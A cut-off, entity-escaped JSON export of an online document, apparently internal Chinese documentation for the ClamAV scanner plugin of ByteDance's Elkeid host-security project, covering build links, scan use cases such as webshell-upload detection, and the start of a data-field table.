,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+g&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;参考 Github readme&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcniEyagY266cWA4KeudN0YMd&#34;:{&#34;id&#34;:&#34;doxcniEyagY266cWA4KeudN0YMd&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;link-id&#34;,&#34;02df2856-f273-4856-824f-7ad46ea9814c&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3*0*1+2c&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;中文 https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README-zh_CN.md&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnM8IoeMw8e0my0CBNsMszXe&#34;:{&#34;id&#34;:&#34;doxcnM8IoeMw8e0my0CBNsMszXe&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;link-id&#34;,&#34;4d9fb884-e55a-4622-80dd-eb20825bea2e&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3*0*1+26&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;英文 https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README.md&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnAciQK8WSmaiEugIikcFjwc&#34;:{&#34;id&#34;:&#34;doxcnAciQK8WSmaiEugIikcFjwc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;d437437c-05de-4997-adf0-8f59be668672\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_53942104\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+p*1*0+3*0+1g&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;考虑到部分国内用户无法在编译时正常拉取 zlib、ssl 等标准库的代码，这里配置了 github action 对应的 dockerfile 编译方式，参见：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcn642QUMWWO6Y84naA1cPLpb&#34;:{&#34;id&#34;:&#34;doxcn642QUMWWO6Y84naA1cPLpb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+a&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Dockerfile&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnMQ0guCks0sG4LUdX7nZSC7&#34;:{&#34;id&#34;:&#34;doxcnMQ0guCks0sG4LUdX7nZSC7&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;link-id&#34;,&#34;d7702527-c1e4-4619-bd1d-97b96ab4be3f&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1*0*1+2e&#34;},&#34;text&#34;:{&#34;0&#34;:&#34; https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/docker/Dockerfile&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnuoqs86K0a8eMhIUTgZbjdq&#34;:{&#34;id&#34;:&#34;doxcnuoqs86K0a8eMhIUTgZbjdq&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+k&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Github Action runner&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcneOWkko0AgAmWcXiT8eTfvc&#34;:{&#34;id&#34;:&#34;doxcneOWkko0AgAmWcXiT8eTfvc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;link-id&#34;,&#34;d1636ec1-d774-4dbc-8b62-1f7f50fb2ae1&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+26&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;https://github.com/bytedance/Elkeid/blob/main/.github/workflows/Elkeid.yml#L46&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnuqWcCAa6muUS1zrUyCPUOp&#34;:{&#34;id&#34;:&#34;doxcnuqWcCAa6muUS1zrUyCPUOp&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+a&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Action 产物 &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcneym6eCOwA0oiEpZBBvnyib&#34;:{&#34;id&#34;:&#34;doxcneym6eCOwA0oiEpZBBvnyib&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;link-id&#34;,&#34;29cdff2a-b36b-495d-997a-7d60b826c854&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+1n&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;https://github.com/bytedance/Elkeid/actions/runs/2202809672&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnygEEIaUMOAqQ23YLL24K6d&#34;:{&#34;id&#34;:&#34;doxcnygEEIaUMOAqQ23YLL24K6d&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;heading1&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;3.详细说明&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnegwqqEC4ykyY8hi3GLhkPd&#34;:{&#34;id&#34;:&#34;doxcnegwqqEC4ykyY8hi3GLhkPd&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;heading2&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;3.1. 使用场景&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2*1+1*0+1+1*1+4&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]},&#34;nextNum&#34;:2}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnkyGWg8AAW0CC8v5zGEp3vB&#34;:{&#34;id&#34;:&#34;doxcnkyGWg8AAW0CC8v5zGEp3vB&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;38cce77b-c743-49ff-9c48-37001aa68783\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_36380126\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+k*1*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;1.周期性扫描：对敏感目录和系统进程进行静态扫描&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnakmuEG8Qe42go1rphYUy8f&#34;:{&#34;id&#34;:&#34;doxcnakmuEG8Qe42go1rphYUy8f&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;8d93d530-4049-48f6-b1a6-81af7928bf63\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_36380126\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+u*1*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;2.插件扫描任务：对静态检测插件下发扫描任务，对指定文件进行静态扫描&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnOQs2YQ2yym2giYTVgH3kkf&#34;:{&#34;id&#34;:&#34;doxcnOQs2YQ2yym2giYTVgH3kkf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:4,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;455ad4b0-55ed-407e-8468-b9579e6ae67e\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_53161374\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;07cc78ff-9af0-4a2f-ac7c-c970a98beb8d\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_27203546,enterprise_51325336\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;3&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;3173eb4b-0e53-437b-b29f-ac6a56c0adee\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7083323092851752961,enterprise_27498802\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+g*1*0+3*0+1*2*0+3*0+1*3*0+3*0+n&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;3.与策略联动：外网下载 &amp;  php/jsp/asp 文件创建扫描，以发现 webshell 上传&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcns0EK8Iw02wmISAq9YkaMlc&#34;:{&#34;id&#34;:&#34;doxcns0EK8Iw02wmISAq9YkaMlc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;heading2&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;3.2.数据说明&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2*1+6&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]},&#34;nextNum&#34;:2}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnssmyw088GGkuOIbOCDUdDe&#34;:{&#34;id&#34;:&#34;doxcnssmyw088GGkuOIbOCDUdDe&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;数据类型汇总&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnMWy6kiSaEiwIS8xAzNvH3b&#34;:{&#34;id&#34;:&#34;doxcnMWy6kiSaEiwIS8xAzNvH3b&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;image&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;align&#34;:&#34;left&#34;,&#34;image&#34;:{&#34;token&#34;:&#34;boxcnLoRlTplpATffdhDyA0Biee&#34;,&#34;mimeType&#34;:&#34;image/png&#34;,&#34;size&#34;:71874,&#34;scale&#34;:0.5849056603773585,&#34;width&#34;:530,&#34;height&#34;:748,&#34;name&#34;:&#34;截屏2022-04-24 15.35.30.png&#34;}}},&#34;doxcnIMgcMC06UK8ccBRXfZk08f&#34;:{&#34;id&#34;:&#34;doxcnIMgcMC06UK8ccBRXfZk08f&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;heading3&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;3.2.1.公共字段（6001 静态命中）&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1+h&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]},&#34;nextNum&#34;:2}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;:{&#34;id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;table&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;columns_id&#34;:[&#34;col3d45aa89-785a-440d-a4f4-5836a4012861&#34;,&#34;col2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;],&#34;rows_id&#34;:[&#34;rowc7881fd5-a940-4885-9b14-d9c6ea108c60&#34;,&#34;rowe84e82ba-3b05-4d8b-a2bb-b36ad45d89f9&#34;,&#34;rowbac09fbb-a74f-480f-a797-aeb27e737d4c&#34;,&#34;rowa289c1f6-8066-456f-bb93-bd083aee2443&#34;,&#34;rowb93cd9b2-e7bd-4cc9-90e3-2db534a9003a&#34;,&#34;rowf8e70b45-31af-470a-bfa4-2b8b0dd55d4d&#34;,&#34;row2b8772dc-9209-47e4-9687-69a3e3935450&#34;,&#34;row5601909b-31e5-4274-8c7d-9ecb2cfbc33c&#34;,&#34;row7db5589e-b782-440e-ace6-f9e181c50b38&#34;],&#34;column_set&#34;:{&#34;col2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;column_width&#34;:322},&#34;col3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;column_width&#34;:100}},&#34;cell_set&#34;:{&#34;row2b8772dc-9209-47e4-9687-69a3e3935450col2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnQCm6CiSSimYWM5h76sQwwd&#34;},&#34;row2b8772dc-9209-47e4-9687-69a3e3935450col3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnciAEcGeAMEMuAh0g0fPKNc&#34;},&#34;row5601909b-31e5-4274-8c7d-9ecb2cfbc33ccol2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcngwC6IoGgCCKMqOE5uQegDg&#34;},&#34;row5601909b-31e5-4274-8c7d-9ecb2cfbc33ccol3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcn6wYiumUsuUMIy0MzhI2O6b&#34;},&#34;row7db5589e-b782-440e-ace6-f9e181c50b38col2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnOYMW4COmuYCs4f2xip5ANf&#34;},&#34;row7db5589e-b782-440e-ace6-f9e181c50b38col3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnoYO0eq0q68k22TGkJuIjIb&#34;},&#34;rowa289c1f6-8066-456f-bb93-bd083aee2443col2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnS8mkuwA22YoYkURYfNwfPR&#34;},&#34;rowa289c1f6-8066-456f-bb93-bd083aee2443col3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnAKiiuqSqsAQsctF2AtiNIe&#34;},&#34;rowb93cd9b2-e7bd-4cc9-90e3-2db534a9003acol2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnIMsmE4SMOEmUO2XzCCIKbf&#34;},&#34;rowb93cd9b2-e7bd-4cc9-90e3-2db534a9003acol3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnc8mqm2wK8oqUYfuBDGxPyh&#34;},&#34;rowbac09fbb-a74f-480f-a797-aeb27e737d4ccol2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnAMKWMoaisKGcMLDefj6cmf&#34;},&#34;rowbac09fbb-a74f-480f-a797-aeb27e737d4ccol3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnMAs2EUqsoMWiojvtbcNAKe&#34;},&#34;rowc7881fd5-a940-4885-9b14-d9c6ea108c60col2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnksc6a2eACqoEKCLwKtBLyg&#34;},&#34;rowc7881fd5-a940-4885-9b14-d9c6ea108c60col3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnUuY2ykmuWgukumlmmbdbLd&#34;},&#34;rowe84e82ba-3b05-4d8b-a2bb-b36ad45d89f9col2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnkmGeAQGuOsQuwr1BEwWglh&#34;},&#34;rowe84e82ba-3b05-4d8b-a2bb-b36ad45d89f9col3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnEe2GeYwUmuUaeiFqhFocKf&#34;},&#34;rowf8e70b45-31af-470a-bfa4-2b8b0dd55d4dcol2c100fc2-9132-42c8-8250-4c8bf7d448a9&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcn4SEc6imiA0a4lNUtsDsiik&#34;},&#34;rowf8e70b45-31af-470a-bfa4-2b8b0dd55d4dcol3d45aa89-785a-440d-a4f4-5836a4012861&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcncIyUsSmC4gqScdjCDcxVmg&#34;}}}},&#34;doxcnUuY2ykmuWgukumlmmbdbLd&#34;:{&#34;id&#34;:&#34;doxcnUuY2ykmuWgukumlmmbdbLd&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnWeagImWUawayoPJt8by2Ne&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnWeagImWUawayoPJt8by2Ne&#34;:{&#34;id&#34;:&#34;doxcnWeagImWUawayoPJt8by2Ne&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUuY2ykmuWgukumlmmbdbLd&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;types&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnksc6a2eACqoEKCLwKtBLyg&#34;:{&#34;id&#34;:&#34;doxcnksc6a2eACqoEKCLwKtBLyg&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcne08OeMEOk8QEGAtJZNGi3d&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcne08OeMEOk8QEGAtJZNGi3d&#34;:{&#34;id&#34;:&#34;doxcne08OeMEOk8QEGAtJZNGi3d&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#3